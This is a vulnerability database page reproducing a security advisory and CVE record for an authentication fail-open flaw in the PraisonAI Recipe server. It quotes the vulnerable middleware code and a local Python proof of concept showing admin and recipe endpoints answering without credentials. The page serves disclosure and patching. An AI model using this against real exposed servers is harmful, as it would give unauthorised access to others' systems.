Vulnerability-Lookup

GHSA-GFQ8-HMPH-9GJV

Vulnerability from github – Published: 2026-08-25 15:15 – Updated: 2026-08-25 15:15

Summary

PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret

Details

Summary

The PraisonAI Recipe HTTP server silently allows unauthenticated requests when auth is configured as api-key or jwt but the corresponding secret is missing.

This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.

The issue is especially risky because the CLI safety check for non-localhost binding only verifies that auth != "none". It does not verify that an actual API key or JWT secret exists.

Details

The Recipe server documents the following authentication modes:

none
api-key
jwt

Relevant source locations:

src/praisonai/praisonai/recipe/serve.py
src/praisonai/praisonai/cli/features/recipe.py

In create_auth_middleware(), the API key middleware resolves the expected key as:

expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")

if not expected_key:
    # No key configured, allow request
    return await call_next(request)

This means auth: api-key does not enforce authentication if api_key / PRAISONAI_API_KEY is missing.

The JWT middleware has the same fail-open behavior:

secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
    return await call_next(request)

The auth middleware is still attached when auth is configured:

auth_type = config.get("auth")
if auth_type and auth_type != "none":
    auth_middleware = create_auth_middleware(
        auth_type,
        api_key=config.get("api_key"),
        jwt_secret=config.get("jwt_secret"),
    )
    if auth_middleware:
        middleware.append(Middleware(auth_middleware))

The CLI path makes this externally reachable in a misconfigured deployment. In cmd_serve, the non-localhost safety check only verifies that auth is not "none":

if host != "127.0.0.1" and host != "localhost" and auth == "none":
    self._print_error("Auth required for non-localhost binding. Use --auth api-key or --auth jwt")
    return self.EXIT_POLICY_DENIED

Therefore, this command passes the safety check:

praisonai recipe serve --host 0.0.0.0 --auth api-key

However, if no --api-key or PRAISONAI_API_KEY is configured, requests are still accepted without authentication.

Affected endpoints include:

POST /v1/recipes/run
POST /v1/recipes/stream
POST /v1/recipes/validate
optional POST /admin/reload when enable_admin is true

PoC

The following local PoC verifies that api-key and jwt authentication fail open when the corresponding secret is missing.

Run from the repository root with test dependencies installed:

python3 poc_recipe_auth_fail_open.py

poc_recipe_auth_fail_open.py:

import os
import sys
from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

# Ensure no secrets are present in the environment.
os.environ.pop("PRAISONAI_API_KEY", None)
os.environ.pop("PRAISONAI_JWT_SECRET", None)

from praisonai.recipe.serve import create_app

# api-key auth selected, but no key configured.
app_open = create_app({"auth": "api-key", "enable_admin": True})
client_open = TestClient(app_open)

print("api-key auth with missing key:")
print("GET /openapi.json:", client_open.get("/openapi.json").status_code)
print("POST /admin/reload:", client_open.post("/admin/reload").status_code)

# api-key auth selected with an actual key configured.
app_closed = create_app({
    "auth": "api-key",
    "api_key": "expected",
    "enable_admin": True,
})
client_closed = TestClient(app_closed)

print("\napi-key auth with configured key:")
print("missing key:", client_closed.post("/admin/reload").status_code)
print("wrong key:", client_closed.post(
    "/admin/reload",
    headers={"X-API-Key": "wrong"},
).status_code)
print("correct key:", client_closed.post(
    "/admin/reload",
    headers={"X-API-Key": "expected"},
).status_code)

# jwt auth selected, but no JWT secret configured.
app_jwt_open = create_app({"auth": "jwt"})
client_jwt_open = TestClient(app_jwt_open)

print("\njwt auth with missing secret:")
print("GET /openapi.json:", client_jwt_open.get("/openapi.json").status_code)

Observed output:

api-key auth with missing key:
GET /openapi.json: 200
POST /admin/reload: 200

api-key auth with configured key:
missing key: 401
wrong key: 401
correct key: 200

jwt auth with missing secret:
GET /openapi.json: 200

The important result is that auth=api-key without a configured key allows requests to protected endpoints, while the same endpoint correctly returns 401 when a key is configured and missing/wrong.

Impact

In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected api-key or jwt authentication.

This gives unauthenticated access to recipe execution endpoints such as:

POST /v1/recipes/run
POST /v1/recipes/stream

If admin endpoints are enabled, the attacker can also access:

POST /admin/reload

The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:15:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe PraisonAI Recipe HTTP server silently allows unauthenticated requests when `auth` is configured as `api-key` or `jwt` but the corresponding secret is missing.\n\nThis creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.\n\nThe issue is especially risky because the CLI safety check for non-localhost binding only verifies that `auth != \"none\"`. It does not verify that an actual API key or JWT secret exists.\n\n### Details\n\nThe Recipe server documents the following authentication modes:\n\n- `none`\n- `api-key`\n- `jwt`\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/recipe/serve.py`\n- `src/praisonai/praisonai/cli/features/recipe.py`\n\nIn `create_auth_middleware()`, the API key middleware resolves the expected key as:\n\n```python\nexpected_key = api_key or os.environ.get(\"PRAISONAI_API_KEY\")\n\nif not expected_key:\n    # No key configured, allow request\n    return await call_next(request)\n```\n\nThis means `auth: api-key` does not enforce authentication if `api_key` / `PRAISONAI_API_KEY` is missing.\n\nThe JWT middleware has the same fail-open behavior:\n\n```python\nsecret = jwt_secret or os.environ.get(\"PRAISONAI_JWT_SECRET\")\nif not secret:\n    return await call_next(request)\n```\n\nThe auth middleware is still attached when `auth` is configured:\n\n```python\nauth_type = config.get(\"auth\")\nif auth_type and auth_type != \"none\":\n    auth_middleware = create_auth_middleware(\n        auth_type,\n        api_key=config.get(\"api_key\"),\n        jwt_secret=config.get(\"jwt_secret\"),\n    )\n    if auth_middleware:\n        middleware.append(Middleware(auth_middleware))\n```\n\nThe CLI path makes this externally reachable in a misconfigured deployment. In `cmd_serve`, the non-localhost safety check only verifies that auth is not `\"none\"`:\n\n```python\nif host != \"127.0.0.1\" and host != \"localhost\" and auth == \"none\":\n    self._print_error(\"Auth required for non-localhost binding. Use --auth api-key or --auth jwt\")\n    return self.EXIT_POLICY_DENIED\n```\n\nTherefore, this command passes the safety check:\n\n```bash\npraisonai recipe serve --host 0.0.0.0 --auth api-key\n```\n\nHowever, if no `--api-key` or `PRAISONAI_API_KEY` is configured, requests are still accepted without authentication.\n\nAffected endpoints include:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n- `POST /v1/recipes/validate`\n- optional `POST /admin/reload` when `enable_admin` is true\n\n### PoC\n\nThe following local PoC verifies that `api-key` and `jwt` authentication fail open when the corresponding secret is missing.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_recipe_auth_fail_open.py\n```\n\n`poc_recipe_auth_fail_open.py`:\n\n```python\nimport os\nimport sys\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Ensure no secrets are present in the environment.\nos.environ.pop(\"PRAISONAI_API_KEY\", None)\nos.environ.pop(\"PRAISONAI_JWT_SECRET\", None)\n\nfrom praisonai.recipe.serve import create_app\n\n# api-key auth selected, but no key configured.\napp_open = create_app({\"auth\": \"api-key\", \"enable_admin\": True})\nclient_open = TestClient(app_open)\n\nprint(\"api-key auth with missing key:\")\nprint(\"GET /openapi.json:\", client_open.get(\"/openapi.json\").status_code)\nprint(\"POST /admin/reload:\", client_open.post(\"/admin/reload\").status_code)\n\n# api-key auth selected with an actual key configured.\napp_closed = create_app({\n    \"auth\": \"api-key\",\n    \"api_key\": \"expected\",\n    \"enable_admin\": True,\n})\nclient_closed = TestClient(app_closed)\n\nprint(\"\\napi-key auth with configured key:\")\nprint(\"missing key:\", client_closed.post(\"/admin/reload\").status_code)\nprint(\"wrong key:\", client_closed.post(\n    \"/admin/reload\",\n    headers={\"X-API-Key\": \"wrong\"},\n).status_code)\nprint(\"correct key:\", client_closed.post(\n    \"/admin/reload\",\n    headers={\"X-API-Key\": \"expected\"},\n).status_code)\n\n# jwt auth selected, but no JWT secret configured.\napp_jwt_open = create_app({\"auth\": \"jwt\"})\nclient_jwt_open = TestClient(app_jwt_open)\n\nprint(\"\\njwt auth with missing secret:\")\nprint(\"GET /openapi.json:\", client_jwt_open.get(\"/openapi.json\").status_code)\n```\n\nObserved output:\n\n```text\napi-key auth with missing key:\nGET /openapi.json: 200\nPOST /admin/reload: 200\n\napi-key auth with configured key:\nmissing key: 401\nwrong key: 401\ncorrect key: 200\n\njwt auth with missing secret:\nGET /openapi.json: 200\n```\n\nThe important result is that `auth=api-key` without a configured key allows requests to protected endpoints, while the same endpoint correctly returns `401` when a key is configured and missing/wrong.\n\n### Impact\n\nIn an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected `api-key` or `jwt` authentication.\n\nThis gives unauthenticated access to recipe execution endpoints such as:\n\n- `POST /v1/recipes/run`\n- `POST /v1/recipes/stream`\n\nIf admin endpoints are enabled, the attacker can also access:\n\n- `POST /admin/reload`\n\nThe impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.",
  "id": "GHSA-gfq8-hmph-9gjv",
  "modified": "2026-08-25T15:15:54Z",
  "published": "2026-08-25T15:15:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gfq8-hmph-9gjv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret"
}

CVE-2026-55533 (GCVE-0-2026-55533)

Vulnerability from cvelistv5 – Published: 2026-08-25 15:15 – Updated: 2026-08-25 16:12

Title

PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret

Summary

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, create_auth_middleware() allows requests when auth=api-key lacks PRAISONAI_API_KEY or JWT authentication lacks PRAISONAI_JWT_SECRET. An externally bound Recipe server can therefore accept unauthenticated POST /v1/recipes/run requests despite authentication being enabled. This issue is fixed in version 4.6.58.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 16:12 UTC

CWE

CWE-287 - Improper Authentication
CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/MervinPraison/PraisonAI/securi…	x_refsource_CONFIRM
https://github.com/MervinPraison/PraisonAI/commit…	x_refsource_MISC
https://github.com/MervinPraison/PraisonAI/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
MervinPraison	PraisonAI	Affected: < 4.6.58

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55533",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-25T16:12:30.324283Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-25T16:12:49.407Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gfq8-hmph-9gjv"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.6.58"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, create_auth_middleware() allows requests when auth=api-key lacks PRAISONAI_API_KEY or JWT authentication lacks PRAISONAI_JWT_SECRET. An externally bound Recipe server can therefore accept unauthenticated POST /v1/recipes/run requests despite authentication being enabled. This issue is fixed in version 4.6.58."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-287",
              "description": "CWE-287: Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T15:15:34.856Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gfq8-hmph-9gjv",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gfq8-hmph-9gjv"
        },
        {
          "name": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
        },
        {
          "name": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
        }
      ],
      "source": {
        "advisory": "GHSA-gfq8-hmph-9gjv",
        "discovery": "UNKNOWN"
      },
      "title": "PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55533",
    "datePublished": "2026-08-25T15:15:34.856Z",
    "dateReserved": "2026-06-16T23:01:04.074Z",
    "dateUpdated": "2026-08-25T16:12:49.407Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-GFQ8-HMPH-9GJV

Summary

Details

PoC

Impact

CVE-2026-55533 (GCVE-0-2026-55533)

Tags

Sightings

Nomenclature